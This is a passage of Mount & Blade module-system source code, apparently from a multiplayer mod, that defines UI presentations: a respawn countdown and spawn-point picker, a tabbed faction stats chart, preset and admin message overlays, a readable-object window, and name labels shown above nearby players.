(key_clicked, key_escape), (gt, ":cur_time", 200), (presentation_set_duration, 0), (try_end), ]), ]), ("respawn_time_counter", prsntf_read_only|prsntf_manual_end_only, 0, # show seconds until respawn and allow requesting the next spawn point [(ti_on_presentation_load, [(set_fixed_point_multiplier, 1000), (gt, "$g_respawn_start_time", 0), (eq, "$g_game_ended", 0), (assign, "$g_last_respawn_counter_value", -1), (str_clear, s0), (create_text_overlay, "$g_presentation_obj_respawn_counter", s0, tf_center_justify|tf_with_outline), (overlay_set_color, "$g_presentation_obj_respawn_counter", 0xFFFFFF), (position_set_x, pos1, 500), (position_set_y, pos1, 600), (overlay_set_position, "$g_presentation_obj_respawn_counter", pos1), (position_set_x, pos1, 2000), (position_set_y, pos1, 2000), (overlay_set_size, "$g_presentation_obj_respawn_counter", pos1), (create_text_overlay, "$g_presentation_obj_respawn_counter_2", "str_press_select_spawn_point", tf_center_justify|tf_with_outline), (overlay_set_color, "$g_presentation_obj_respawn_counter_2", 0xFFFFFF), (position_set_x, pos1, 500), (position_set_y, pos1, 570), (overlay_set_position, "$g_presentation_obj_respawn_counter_2", pos1), (position_set_x, pos1, 1400), (position_set_y, pos1, 1400), (overlay_set_size, "$g_presentation_obj_respawn_counter_2", pos1), (assign, "$g_presentation_obj_respawn_castle", -1), (assign, "$g_respawn_castle_selected", -1), (omit_key_once, key_1), (omit_key_once, key_2), (omit_key_once, key_3), (omit_key_once, key_4), (omit_key_once, key_5), (presentation_set_duration, 999999), ]), (ti_on_presentation_run, [(set_fixed_point_multiplier, 1000), (try_begin), (eq, "$g_game_ended", 0), (store_mission_timer_a, ":current_time"), (store_add, ":respawn_remaining_time", "$g_respawn_start_time", "$g_respawn_period"), (val_sub, ":respawn_remaining_time", ":current_time"), (try_begin), (this_or_next|le, ":respawn_remaining_time", 0), (gt, ":respawn_remaining_time", "$g_respawn_period"), (assign, "$g_respawn_start_time", 0), (presentation_set_duration, 0), (else_try), (multiplayer_get_my_player, ":player_id"), (player_is_active, ":player_id"), (player_get_slot, ":faction_id", ":player_id", slot_player_faction_id), (try_begin), # check for valid castles to spawn at, displaying the next if that control is pressed (neq, "$g_game_type", "mt_permanent_death"), (is_between, ":faction_id", castle_factions_begin, factions_end), (this_or_next|eq, "$g_presentation_obj_respawn_castle", -1), (key_clicked, key_tilde), (assign, ":loop_end", slot_mission_data_castle_owner_faction_end + 1), (try_for_range, ":unused", slot_mission_data_castle_owner_faction_begin, ":loop_end"), (val_add, "$g_respawn_castle_selected", 1), (try_begin), (neg|is_between, "$g_respawn_castle_selected", slot_mission_data_castle_owner_faction_begin, slot_mission_data_castle_owner_faction_end + 1), (assign, "$g_respawn_castle_selected", slot_mission_data_castle_owner_faction_begin), (try_end), (try_begin), (eq, "$g_respawn_castle_selected", slot_mission_data_castle_owner_faction_end), # restarting as a peasant commoner (str_store_string, s1, "str_restart_as_peasant_commoner"), (assign, ":loop_end", -1), (else_try), (call_script, "script_cf_castle_is_active", "$g_respawn_castle_selected"), (troop_slot_eq, "trp_mission_data", "$g_respawn_castle_selected", ":faction_id"), (call_script, "script_str_store_castle_name", s1, "$g_respawn_castle_selected"), (assign, ":loop_end", -1), (try_end), (try_end), (try_begin), (eq, ":loop_end", -1), (try_begin), (le, "$g_presentation_obj_respawn_castle", -1), (create_text_overlay, "$g_presentation_obj_respawn_castle", "str_press_select_spawn_area", tf_center_justify|tf_with_outline), (overlay_set_color, "$g_presentation_obj_respawn_castle", 0xFFFFFF), (position_set_x, pos1, 500), (position_set_y, pos1, 540), (overlay_set_position, "$g_presentation_obj_respawn_castle", pos1), (position_set_x, pos1, 1400), (position_set_y, pos1, 1400), (overlay_set_size, "$g_presentation_obj_respawn_castle", pos1), (else_try), (overlay_set_text, "$g_presentation_obj_respawn_castle", "str_press_select_spawn_area"), (overlay_set_display, "$g_presentation_obj_respawn_castle", 1), (try_end), (else_try), (assign, "$g_respawn_castle_selected", -1), (try_end), (try_end), (try_begin), (this_or_next|eq, "$g_respawn_castle_selected", -1), (neg|is_between, ":faction_id", castle_factions_begin, factions_end), (gt, "$g_presentation_obj_respawn_castle", -1), (overlay_set_display, "$g_presentation_obj_respawn_castle", 0), (try_end), (assign, ":spawn_point_selected", 0), (try_begin), (key_clicked, key_1), (assign, ":spawn_point_selected", 1), (else_try), (key_clicked, key_2), (assign, ":spawn_point_selected", 2), (else_try), (key_clicked, key_3), (assign, ":spawn_point_selected", 3), (else_try), (key_clicked, key_4), (assign, ":spawn_point_selected", 4), (else_try), (key_clicked, key_5), (assign, ":spawn_point_selected", 5), (try_end), (try_begin), (is_between, ":spawn_point_selected", 1, 6), (clear_omitted_keys), (try_begin), (is_between, "$g_respawn_castle_selected", slot_mission_data_castle_owner_faction_begin, slot_mission_data_castle_owner_faction_end), (store_add, ":castle_entry_point_begin", "$g_respawn_castle_selected", castle_factions_begin), (val_mul, ":castle_entry_point_begin", 10), (val_add, ":spawn_point_selected", ":castle_entry_point_begin"), (try_end), (try_begin), (eq, "$g_respawn_castle_selected", slot_mission_data_castle_owner_faction_end), # restarting as a peasant commoner (multiplayer_send_2_int_to_server, client_event_request_spawn_point, ":spawn_point_selected", 1), (else_try), (multiplayer_send_int_to_server, client_event_request_spawn_point, ":spawn_point_selected"), (try_end), (overlay_set_display, "$g_presentation_obj_respawn_counter_2", 0), (gt, "$g_presentation_obj_respawn_castle", -1), (overlay_set_display, "$g_presentation_obj_respawn_castle", 0), (try_end), (neq, "$g_last_respawn_counter_value", ":respawn_remaining_time"), (assign, "$g_last_respawn_counter_value", ":respawn_remaining_time"), (assign, reg0, ":respawn_remaining_time"), (overlay_set_text, "$g_presentation_obj_respawn_counter", "str_respawning_in_reg0_seconds"), (player_get_team_no, ":team", ":player_id"), (try_begin), (eq, ":team", team_spectators), (assign, ":display", 0), (else_try), (assign, ":display", 1), (try_end), (overlay_set_display, "$g_presentation_obj_respawn_counter", ":display"), (try_end), (else_try), (assign, "$g_respawn_start_time", 0), (presentation_set_duration, 0), (try_end), ]), ]), ("tabbed_stats_chart", prsntf_manual_end_only, 0, # displays tab buttons marked with faction symbols to view lists of members and their stats [(ti_on_presentation_load, [(set_fixed_point_multiplier, 1000), (multiplayer_get_my_player, ":my_player_id"), (player_is_active, ":my_player_id"), (create_mesh_overlay, reg1, "mesh_mp_score_b"), (position_set_x, pos1, 100), (position_set_y, pos1, 100), (overlay_set_position, reg1, pos1), (position_set_x, pos1, 1000), (position_set_y, pos1, 1000), (overlay_set_size, reg1, pos1), (assign, ":faction_count", 0), (assign, ":selected_button_x", 10), # calculate position of the frame for the selected faction button (10 = all players) (try_for_range, ":faction_id", factions_begin, factions_end), (faction_slot_eq, ":faction_id", slot_faction_is_active, 1), (try_begin), (eq, ":faction_id", "$g_stats_chart_selected_faction_id"), (assign, ":selected_button_x", ":faction_count"), (try_end), (val_add, ":faction_count", 1), (try_end), (try_begin), (eq, ":selected_button_x", 10), (assign, "$g_stats_chart_selected_faction_id", -1), (try_end), (create_mesh_overlay, reg1, "mesh_pw_stats_chart_selected"), (val_mul, ":selected_button_x", 67), (val_add, ":selected_button_x", 122), (position_set_x, pos1, ":selected_button_x"), (position_set_y, pos1, 567), (overlay_set_position, reg1, pos1), (position_set_x, pos10, 550), (position_set_y, pos10, 750), (overlay_set_size, reg1, pos10), (position_set_x, pos10, 500), (position_set_y, pos10, 500), (assign, ":x_pos", 158), (position_set_y, pos1, 575), (try_for_range, ":faction_id", factions_begin, factions_end), # create symbol buttons for all active factions in the scene (faction_slot_eq, ":faction_id", slot_faction_is_active, 1), (try_begin), (eq, ":faction_id", "fac_commoners"), (create_image_button_overlay, ":button_overlay_id", "mesh_pw_stats_chart_commoners", "mesh_pw_stats_chart_commoners"), (else_try), (eq, ":faction_id", "fac_outlaws"), (create_image_button_overlay, ":button_overlay_id", "mesh_pw_stats_chart_outlaws", "mesh_pw_stats_chart_outlaws"), (else_try), (faction_get_slot, ":banner_mesh", ":faction_id", slot_faction_banner_mesh), (try_begin), (gt, "$g_stats_chart_selected_faction_id", -1), (call_script, "script_cf_factions_are_hostile", "$g_stats_chart_selected_faction_id", ":faction_id"), (assign, ":tableau_id", "tableau_stats_chart_banner_war"), (else_try), (assign, ":tableau_id", "tableau_stats_chart_banner"), (try_end), (create_image_button_overlay_with_tableau_material, ":button_overlay_id", "mesh_pw_stats_chart_banner", ":tableau_id", ":banner_mesh"), (try_end), (position_set_x, pos1, ":x_pos"), (val_add, ":x_pos", 67), (overlay_set_position, ":button_overlay_id", pos1), (overlay_set_size, ":button_overlay_id", pos10), (try_end), (create_image_button_overlay, "$g_presentation_obj_stats_chart_all_factions", "mesh_pw_stats_chart_all", "mesh_pw_stats_chart_all"), (position_set_x, pos1, 828), (position_set_y, pos1, 567), (overlay_set_position, "$g_presentation_obj_stats_chart_all_factions", pos1), (overlay_set_size, "$g_presentation_obj_stats_chart_all_factions", pos10), (store_sub, "$g_presentation_obj_stats_chart_faction_begin", "$g_presentation_obj_stats_chart_all_factions", ":faction_count"), (assign, ":faction_id", "$g_stats_chart_selected_faction_id"), (player_get_slot, ":my_faction_id", ":my_player_id", slot_player_faction_id), (get_max_players, ":max_players"), (assign, ":player_count", 0), (assign, ":player_total", 0), (try_for_range, ":player_id", 1, ":max_players"), (player_is_active, ":player_id"), (val_add, ":player_total", 1), (this_or_next|eq, ":faction_id", -1), (player_slot_eq, ":player_id", slot_player_faction_id, ":faction_id"), (try_begin), (eq, ":faction_id", -1), # when displaying all players, don't list in any particular order (assign, ":player_ranking", ":player_id"), (else_try), (try_begin), # when listing a single faction, order by troop type if a castle owning faction, then by score (eq, ":faction_id", ":my_faction_id"), (ge, ":faction_id", castle_factions_begin), (player_get_agent_id, ":agent_id", ":player_id"), (try_begin), (agent_is_active, ":agent_id"), (agent_is_alive, ":agent_id"), (agent_get_troop_id, ":troop_id", ":agent_id"), (else_try), (player_get_troop_id, ":troop_id", ":player_id"), (try_end), (troop_get_slot, ":player_ranking", ":troop_id", slot_troop_ranking), (val_clamp, ":player_ranking", 1, 101), (else_try), (assign, ":player_ranking", 1), (try_end), (player_get_score, ":player_score", ":player_id"), (val_add, ":player_score", stats_chart_score_max / 2), (val_clamp, ":player_score", 0, stats_chart_score_max), (val_lshift, ":player_score", stats_chart_score_shift), (val_lshift, ":player_ranking", stats_chart_ranking_shift), # score troop ranking in the highest bits (most priority) (val_or, ":player_ranking", ":player_score"), # store score in the middle bits (lower priority) (val_or, ":player_ranking", ":player_id"), # store player id in the lowest bits (tiebreaker only if above values are identical) (try_end), (troop_set_slot, "trp_temp_array", ":player_count", ":player_ranking"), (val_add, ":player_count", 1), (try_end), (try_begin), (neq, ":faction_id", -1), # insertion sort of players to be listed, by calculated ranking (try_for_range, ":current_index", 1, ":player_count"), (troop_get_slot, ":current_value", "trp_temp_array", ":current_index"), (assign, ":end_loop", 0), (try_for_range_backwards, ":compare_index", ":end_loop", ":current_index"), (troop_get_slot, ":compare_value", "trp_temp_array", ":compare_index"), (store_add, ":write_index", ":compare_index", 1), (try_begin), (lt, ":current_value", ":compare_value"), (troop_set_slot, "trp_temp_array", ":write_index", ":compare_value"), (try_begin), (eq, ":compare_index", 0), (troop_set_slot, "trp_temp_array", 0, ":current_value"), (try_end), (else_try), (assign, ":end_loop", ":compare_index"), (troop_set_slot, "trp_temp_array", ":write_index", ":current_value"), (try_end), (try_end), (try_end), (str_store_faction_name, s1, ":faction_id"), (faction_get_color, ":title_color", ":faction_id"), (else_try), (str_store_string, s1, "str_all_players"), (assign, ":title_color", 0xFFFFFF), (try_end), (create_text_overlay, reg1, s1), (overlay_set_color, reg1, ":title_color"), (position_set_x, pos0, 120), (position_set_y, pos0, 520), (overlay_set_position, reg1, pos0), (position_set_x, pos10, 2000), (position_set_y, pos10, 2000), (overlay_set_size, reg1, pos10), (assign, reg0, ":player_count"), (try_begin), (neq, ":faction_id", -1), (assign, reg1, ":player_total"), (try_begin), (neq, ":player_count", 1), (assign, ":string_id", "str_reg0_players_of_reg1"), (else_try), (assign, ":string_id", "str_reg0_player_of_reg1"), (try_end), (else_try), (neq, ":player_count", 1), (assign, ":string_id", "str_reg0_players"), (else_try), (assign, ":string_id", "str_reg0_player"), (try_end), (create_text_overlay, reg2, ":string_id", tf_right_align), (overlay_set_color, reg2, 0xFFFFFF), (position_set_x, pos0, 860), (position_set_y, pos0, 525), (overlay_set_position, reg2, pos0), (position_set_x, pos10, 1000), (position_set_y, pos10, 1000), (overlay_set_size, reg2, pos10), (position_set_x, pos11, 750), (position_set_y, pos11, 750), (assign, ":castle_found", 0), # list castles owned by the faction (try_for_range, ":castle_owner_slot", slot_mission_data_castle_owner_faction_begin, slot_mission_data_castle_owner_faction_end), (troop_slot_eq, "trp_mission_data", ":castle_owner_slot", ":faction_id"), (call_script, "script_cf_castle_is_active", ":castle_owner_slot"), (call_script, "script_str_store_castle_name", s1, ":castle_owner_slot"), (try_begin), (eq, ":castle_found", 0), (assign, ":castle_found", 1), (str_store_string_reg, s0, s1), (else_try), (str_store_string, s0, "str_s0__s1"), (try_end), (try_end), (try_begin), (eq, ":castle_found", 1), (create_text_overlay, reg1, s0), (overlay_set_color, reg1, ":title_color"), (position_set_x, pos0, 120), (position_set_y, pos0, 504), (overlay_set_position, reg1, pos0), (overlay_set_size, reg1, pos11), (try_end), (assign, ":cur_y", 480), (assign, ":start_x", 120), (position_set_x, pos1, ":start_x"), (store_add, ":class_x", ":start_x", 540), (position_set_x, pos2, ":class_x"), (store_add, ":kills_x", ":start_x", 600), (position_set_x, pos3, ":kills_x"), (store_add, ":deaths_x", ":start_x", 655), (position_set_x, pos4, ":deaths_x"), (store_add, ":ping_x", ":start_x", 710), (position_set_x, pos5, ":ping_x"), (position_set_y, pos1, ":cur_y"), (position_set_y, pos2, ":cur_y"), (position_set_y, pos3, ":cur_y"), (position_set_y, pos4, ":cur_y"), (position_set_y, pos5, ":cur_y"), (create_text_overlay, reg1, "str_player_name", 0), (overlay_set_color, reg1, 0xFFFFFF), (overlay_set_position, reg1, pos1), (overlay_set_size, reg1, pos11), (try_begin), (eq, ":faction_id", ":my_faction_id"), (ge, ":faction_id", castle_factions_begin), (create_text_overlay, reg1, "str_class", tf_center_justify), (overlay_set_color, reg1, 0xFFFFFF), (overlay_set_position, reg1, pos2), (overlay_set_size, reg1, pos11), (try_end), (create_text_overlay, reg1, "str_kills", tf_center_justify), (overlay_set_color, reg1, 0xFFFFFF), (overlay_set_position, reg1, pos3), (overlay_set_size, reg1, pos11), (create_text_overlay, reg1, "str_deaths", tf_center_justify), (overlay_set_color, reg1, 0xFFFFFF), (overlay_set_position, reg1, pos4), (overlay_set_size, reg1, pos11), (create_text_overlay, reg1, "str_ping", tf_center_justify), (overlay_set_color, reg1, 0xFFFFFF), (overlay_set_position, reg1, pos5), (overlay_set_size, reg1, pos11), (create_mesh_overlay, reg1, "mesh_white_plane"), (overlay_set_color, reg1, 0xFFFFFF), (overlay_set_alpha, reg1, 0xD0), (position_set_x, pos0, ":start_x"), (store_sub, ":separator_y", ":cur_y", 5), (position_set_y, pos0, ":separator_y"), (overlay_set_position, reg1, pos0), (position_set_x, pos10, 37350), (position_set_y, pos10, 50), (overlay_set_size, reg1, pos10), (str_clear, s0), (create_text_overlay, ":container", s0, tf_scrollable_style_2), (position_set_x, pos0, 100), (position_set_y, pos0, 125), (overlay_set_position, ":container", pos0), (position_set_x, pos0, 750), (position_set_y, pos0, 340), (overlay_set_area_size, ":container", pos0), (set_container_overlay, ":container"), (try_for_range, ":position_no", 1, 3), (position_get_x, ":temp_x", ":position_no"), (val_sub, ":temp_x", 100), (position_set_x, ":position_no", ":temp_x"), (try_end), (try_for_range, ":position_no", 3, 6), (position_get_x, ":temp_x", ":position_no"), (val_sub, ":temp_x", 91), (position_set_x, ":position_no", ":temp_x"), (try_end), (val_sub, ":start_x", 100), (store_mul, ":cur_y", ":player_count", player_list_item_height), (try_for_range_backwards, ":player_index", 0, ":player_count"), (troop_get_slot, ":player_id", "trp_temp_array", ":player_index"), (val_and, ":player_id", stats_chart_player_mask), # strip the upper ranking bits from the player id (val_sub, ":cur_y", player_list_item_height), (position_set_y, pos1, ":cur_y"), (position_set_y, pos2, ":cur_y"), (position_set_y, pos3, ":cur_y"), (position_set_y, pos4, ":cur_y"), (position_set_y, pos5, ":cur_y"), (try_begin), (eq, ":player_id", ":my_player_id"), (create_mesh_overlay, reg1, "mesh_white_plane"), (overlay_set_color, reg1, 0xFFFFFF), (overlay_set_alpha, reg1, 0x35), (overlay_set_position, reg1, pos1), (position_set_x, pos10, 37350), (position_set_y, pos10, 1000), (overlay_set_size, reg1, pos10), (try_end), (try_begin), (player_slot_eq, ":player_id", slot_player_is_lord, 1), (create_mesh_overlay, reg1, "mesh_white_plane"), (overlay_set_color, reg1, 0xFFEE55), (overlay_set_alpha, reg1, 0x35), (store_add, ":lord_x", ":start_x", 2), (position_set_x, pos0, ":lord_x"), (store_add, ":lord_y", ":cur_y", 2), (position_set_y, pos0, ":lord_y"), (overlay_set_position, reg1, pos0), (position_set_x, pos10, 36275), (position_set_y, pos10, 820), (overlay_set_size, reg1, pos10), (try_end), (try_begin), (eq, ":faction_id", -1), (player_get_slot, ":player_faction_id", ":player_id", slot_player_faction_id), (faction_get_color, ":player_color", ":player_faction_id"), (else_try), (player_get_agent_id, ":agent_id", ":player_id"), (agent_is_active, ":agent_id"), (agent_is_alive, ":agent_id"), (agent_get_troop_id, ":troop_id", ":agent_id"), (assign, ":player_color", 0xFFFFFF), (else_try), (player_get_troop_id, ":troop_id", ":player_id"), (assign, ":player_color", 0xFF0000), (try_end), (str_store_player_username, s1, ":player_id"), (create_text_overlay, reg1, s1, 0), (overlay_set_color, reg1, ":player_color"), (overlay_set_size, reg1, pos11), (overlay_set_position, reg1, pos1), (try_begin), (eq, ":faction_id", ":my_faction_id"), (is_between, ":faction_id", castle_factions_begin, factions_end), (str_store_troop_name, s1, ":troop_id"), (create_text_overlay, reg1, s1, tf_center_justify), (overlay_set_color, reg1, ":player_color"), (overlay_set_size, reg1, pos11), (overlay_set_position, reg1, pos2), (try_end), (player_get_kill_count, reg0, ":player_id"), (create_text_overlay, reg1, "str_reg0", tf_right_align), (overlay_set_color, reg1, ":player_color"), (overlay_set_size, reg1, pos11), (overlay_set_position, reg1, pos3), (player_get_death_count, reg0, ":player_id"), (create_text_overlay, reg1, "str_reg0", tf_right_align), (overlay_set_color, reg1, ":player_color"), (overlay_set_size, reg1, pos11), (overlay_set_position, reg1, pos4), (player_get_ping, reg0, ":player_id"), (create_text_overlay, reg1, "str_reg0", tf_right_align), (overlay_set_color, reg1, ":player_color"), (overlay_set_size, reg1, pos11), (overlay_set_position, reg1, pos5), (try_end), (store_mul, "$g_stats_chart_update_period", ":player_count", 100), # update less often when there are more players to sort (val_max, "$g_stats_chart_update_period", 1000), (omit_key_once, key_mouse_scroll_up), (omit_key_once, key_mouse_scroll_down), (presentation_set_duration, 999999), ]), (ti_on_presentation_event_state_change, [(store_trigger_param_1, ":overlay_id"), (try_begin), (is_between, ":overlay_id", "$g_presentation_obj_stats_chart_faction_begin", "$g_presentation_obj_stats_chart_all_factions"), (store_sub, ":active_faction_no", ":overlay_id", "$g_presentation_obj_stats_chart_faction_begin"), (assign, ":test_faction_no", -1), (assign, ":loop_end", factions_end), # calculate the faction id of the tab clicked (try_for_range, ":faction_id", factions_begin, ":loop_end"), (faction_slot_eq, ":faction_id", slot_faction_is_active, 1), (val_add, ":test_faction_no", 1), (eq, ":test_faction_no", ":active_faction_no"), (assign, "$g_stats_chart_selected_faction_id", ":faction_id"), (assign, ":loop_end", 0), (try_end), (else_try), (eq, ":overlay_id", "$g_presentation_obj_stats_chart_all_factions"), (assign, "$g_stats_chart_selected_faction_id", -1), (try_end), (clear_omitted_keys), (presentation_set_duration, 0), (start_presentation, "prsnt_tabbed_stats_chart"), ]), (ti_on_presentation_run, [(store_trigger_param_1, ":cur_time"), (try_begin), (this_or_next|key_clicked, key_mouse_scroll_up), (key_clicked, key_mouse_scroll_down), (omit_key_once, key_mouse_scroll_up), (omit_key_once, key_mouse_scroll_down), (try_end), (try_begin), (eq, "$g_stats_chart_opened_manually", 1), (neg|game_key_is_down, gk_stats_chart), (assign, "$g_stats_chart_opened_manually", 0), (clear_omitted_keys), (presentation_set_duration, 0), (else_try), (gt, ":cur_time", "$g_stats_chart_update_period"), (clear_omitted_keys), (presentation_set_duration, 0), (start_presentation, "prsnt_tabbed_stats_chart"), (try_end), ]), ]), ("preset_message_small", prsntf_read_only|prsntf_manual_end_only, 0, [(ti_on_presentation_load, [(set_fixed_point_multiplier, 1000), (try_begin), (eq, "$g_preset_message_type", preset_message_small), (assign, "$g_preset_message_type", 0), # keep the same as in prsnt_preset_message_* and script_preset_message (try_begin), (eq, "$g_preset_message_params", preset_message_item), (is_between, "$g_preset_message_value_1", 1, all_items_end), (str_store_item_name, s1, "$g_preset_message_value_1"), (else_try), (eq, "$g_preset_message_params", preset_message_agent), (agent_is_active, "$g_preset_message_value_1"), (str_store_agent_name, s1, "$g_preset_message_value_1"), (else_try), (eq, "$g_preset_message_params", preset_message_player), (player_is_active, "$g_preset_message_value_1"), (str_store_player_username, s1, "$g_preset_message_value_1"), (else_try), (is_between, "$g_preset_message_params", preset_message_faction, preset_message_faction_castle + 1), (is_between, "$g_preset_message_value_1", factions_begin, factions_end), (str_store_faction_name, s1, "$g_preset_message_value_1"), (faction_get_color, "$g_preset_message_color", "$g_preset_message_value_1"), (eq, "$g_preset_message_params", preset_message_faction_castle), (call_script, "script_str_store_castle_name", s2, "$g_preset_message_value_2"), (else_try), (assign, reg1, "$g_preset_message_value_1"), (assign, reg2, "$g_preset_message_value_2"), (try_end), # end keep same (create_text_overlay, ":overlay_id", "$g_preset_message_string_id", tf_center_justify|tf_with_outline), (overlay_set_color, ":overlay_id", "$g_preset_message_color"), (position_set_x, pos1, 500), (position_set_y, pos1, 600), (overlay_set_position, ":overlay_id", pos1), (presentation_set_duration, 300), (else_try), (presentation_set_duration, 0), (try_end), ]), ]), ("preset_message_big", prsntf_read_only|prsntf_manual_end_only, 0, [(ti_on_presentation_load, [(set_fixed_point_multiplier, 1000), (try_begin), (eq, "$g_preset_message_type", preset_message_big), (assign, "$g_preset_message_type", 0), # keep the same as in prsnt_preset_message_* and script_preset_message (try_begin), (eq, "$g_preset_message_params", preset_message_item), (is_between, "$g_preset_message_value_1", 1, all_items_end), (str_store_item_name, s1, "$g_preset_message_value_1"), (else_try), (eq, "$g_preset_message_params", preset_message_agent), (agent_is_active, "$g_preset_message_value_1"), (str_store_agent_name, s1, "$g_preset_message_value_1"), (else_try), (eq, "$g_preset_message_params", preset_message_player), (player_is_active, "$g_preset_message_value_1"), (str_store_player_username, s1, "$g_preset_message_value_1"), (else_try), (is_between, "$g_preset_message_params", preset_message_faction, preset_message_faction_castle + 1), (is_between, "$g_preset_message_value_1", factions_begin, factions_end), (str_store_faction_name, s1, "$g_preset_message_value_1"), (faction_get_color, "$g_preset_message_color", "$g_preset_message_value_1"), (eq, "$g_preset_message_params", preset_message_faction_castle), (call_script, "script_str_store_castle_name", s2, "$g_preset_message_value_2"), (else_try), (assign, reg1, "$g_preset_message_value_1"), (assign, reg2, "$g_preset_message_value_2"), (try_end), # end keep same (create_text_overlay, ":overlay_id", "$g_preset_message_string_id", tf_center_justify|tf_with_outline), (overlay_set_color, ":overlay_id", "$g_preset_message_color"), (position_set_x, pos1, 500), (position_set_y, pos1, 500), (overlay_set_position, ":overlay_id", pos1), (position_set_x, pos1, 2000), (position_set_y, pos1, 2000), (overlay_set_size, ":overlay_id", pos1), (presentation_set_duration, 500), (else_try), (presentation_set_duration, 0), (try_end), ]), ]), ("read_object", prsntf_manual_end_only, 0, [(ti_on_presentation_load, [(set_fixed_point_multiplier, 1000), (try_begin), (eq, "$g_preset_message_type", preset_message_read_object), (assign, "$g_preset_message_type", 0), (create_mesh_overlay, reg0, "mesh_mp_ingame_menu"), (position_set_x, pos1, 250), (position_set_y, pos1, 80), (overlay_set_position, reg0, pos1), (create_text_overlay, reg0, "$g_preset_message_string_id", tf_scrollable), (position_set_x, pos1, 285), (position_set_y, pos1, 155), (overlay_set_position, reg0, pos1), (position_set_x, pos1, 900), (position_set_y, pos1, 900), (overlay_set_size, reg0, pos1), (position_set_x, pos1, 405), (position_set_y, pos1, 470), (overlay_set_area_size, reg0, pos1), (overlay_set_color, reg0, "$g_preset_message_color"), (create_button_overlay, reg0, "$g_presentation_read_object_button_string_id", tf_center_justify), (overlay_set_color, reg0, 0xFFFFFF), (position_set_x, pos1, 500), (position_set_y, pos1, 115), (overlay_set_position, reg0, pos1), (omit_key_once, key_escape), (presentation_set_duration, 999999), (else_try), (presentation_set_duration, 0), (try_end), ]), (ti_on_presentation_event_state_change, [(clear_omitted_keys), (presentation_set_duration, 0), (eq, "$g_presentation_read_object_button_string_id", "str_join_game"), (multiplayer_send_message_to_server, client_event_request_spawn_point), (assign, "$g_player_has_spawned_after_connecting", 1), ]), (ti_on_presentation_run, [(store_trigger_param_1, ":cur_time"), (try_begin), (key_clicked, key_escape), (gt, ":cur_time", 200), (clear_omitted_keys), (presentation_set_duration, 0), (try_end), ]), ]), ("faction_lord_message", prsntf_read_only|prsntf_manual_end_only, 0, [(ti_on_presentation_load, [(set_fixed_point_multiplier, 1000), (multiplayer_get_my_player, ":player_id"), (player_get_slot, ":faction_id", ":player_id", slot_player_faction_id), (faction_get_color, ":color", ":faction_id"), (create_text_overlay, ":overlay_id", s11, tf_center_justify|tf_with_outline), (overlay_set_color, ":overlay_id", ":color"), (position_set_x, pos1, 500), (position_set_y, pos1, 400), (overlay_set_position, ":overlay_id", pos1), (position_set_x, pos1, 1500), (position_set_y, pos1, 1500), (overlay_set_size, ":overlay_id", pos1), (presentation_set_duration, 500), ]), ]), ("admin_message", prsntf_read_only|prsntf_manual_end_only, 0, [(ti_on_presentation_load, [(set_fixed_point_multiplier, 1000), (create_text_overlay, ":overlay_id", s12, tf_center_justify|tf_with_outline), (overlay_set_color, ":overlay_id", admin_chat_color), (position_set_x, pos1, 500), (position_set_y, pos1, 450), (overlay_set_position, ":overlay_id", pos1), (position_set_x, pos1, 1500), (position_set_y, pos1, 1500), (overlay_set_size, ":overlay_id", pos1), (presentation_set_duration, 500), ]), ]), ("display_agent_labels", prsntf_read_only|prsntf_manual_end_only, 0, # display player name and optionally faction name above the heads of nearby agents [(ti_on_presentation_load, [(assign, "$g_presentation_agent_labels_overlay_count", 0), (assign, "$g_presentation_agent_labels_update_time", 0), (presentation_set_duration, 999999), ]), (ti_on_presentation_run, [(store_trigger_param_1, ":current_time"), (set_fixed_point_multiplier, 1000), (try_begin), (eq, "$g_display_agent_labels", 0), (presentation_set_duration, 0), (else_try), (gt, ":current_time", "$g_presentation_agent_labels_update_time"), (store_add, "$g_presentation_agent_labels_update_time", ":current_time", 20), # check and update all visible labels every 20 milliseconds (multiplayer_get_my_player, ":my_player"), (gt, ":my_player", -1), (str_clear, s0), (mission_cam_get_position, pos1), (assign, ":overlay_id", 0), (try_for_agents, ":agent_id"), (agent_is_human, ":agent_id"), (agent_is_alive, ":agent_id"), (agent_get_player_id, ":player_id", ":agent_id"), (neq, ":player_id", ":my_player"), (agent_get_item_slot, ":body_item_id", ":agent_id", ek_body), (neq, ":body_item_id", "itm_invisible_body"), (agent_get_position, pos2, ":agent_id"), (position_move_z, pos2, 160), (agent_get_horse, ":horse", ":agent_id"), (try_begin), (ge, ":horse", 0), (position_move_z, pos2, 80), (try_end), (get_sq_distance_between_positions, ":sq_distance", pos1, pos2), (le, ":sq_distance", sq(max_distance_to_see_labels)), (copy_position, pos3, pos2), (position_move_z, pos3, 50), (position_get_screen_projection, pos4, pos3), # get the 2D position on screen 50 above the 3D position of the agent (position_get_x, ":x_pos", pos4), (position_get_y, ":y_pos", pos4), (is_between, ":x_pos", -100, 1100), # check if inside the view boundaries or nearly so (is_between, ":y_pos", -100, 850), (position_has_line_of_sight_to_position, pos1, pos2), (try_begin), # create a new overlay if needed (ge, ":overlay_id", "$g_presentation_agent_labels_overlay_count"), (create_text_overlay, reg0, s0, tf_center_justify|tf_with_outline), (val_add, "$g_presentation_agent_labels_overlay_count", 1), (try_end), (try_begin), (try_begin), (player_is_active, ":player_id"), (str_store_player_username, s2, ":player_id"), (player_get_slot, ":player_faction_id", ":player_id", slot_player_faction_id), (try_begin), (eq, "$g_hide_faction_in_name_labels", 0), (str_store_faction_name, s3, ":player_faction_id"), (str_store_string, s2, "str_s2_s3"), (try_end), (faction_get_color, ":color", ":player_faction_id"), (else_try), (agent_get_troop_id, ":troop_id", ":agent_id"), (str_store_troop_name, s2, ":troop_id"), (assign, ":color", invalid_faction_color), (try_end), (overlay_set_text, ":overlay_id", s2), (overlay_set_color, ":overlay_id", ":color"), (overlay_set_position, ":overlay_id", pos4), (copy_position, pos5, pos3), (position_move_z, pos5, 200), # move the 3D position up by 200 and check the 2D distance moved, to get the appropriate text size (reducing with distance) (position_get_screen_projection, pos6, pos5), (position_get_y, ":y_pos_up", pos6), (store_sub, ":height", ":y_pos_up", ":y_pos"), (val_mul, ":height", 10), (val_min, ":height", 2000), (position_set_y, pos6, ":height"), (position_set_x, pos6, ":height"), (overlay_set_size, ":overlay_id", pos6), (overlay_set_display, ":overlay_id", 1), (try_end), (val_add, ":overlay_id", 1), (try_end), (try_begin), (store_sub, ":redraw_threshold", "$g_presentation_agent_labels_overlay_count", 10), (lt, ":overlay_id", ":redraw_threshold"), (presentation_set_duration, 0), (start_presentation, "prsnt_display_agent_labels"), (else_try), (try_for_range, ":unused_overlay_id", ":overlay_id", "$g_presentation_agent_labels_overlay_count"), (overlay_set_display, 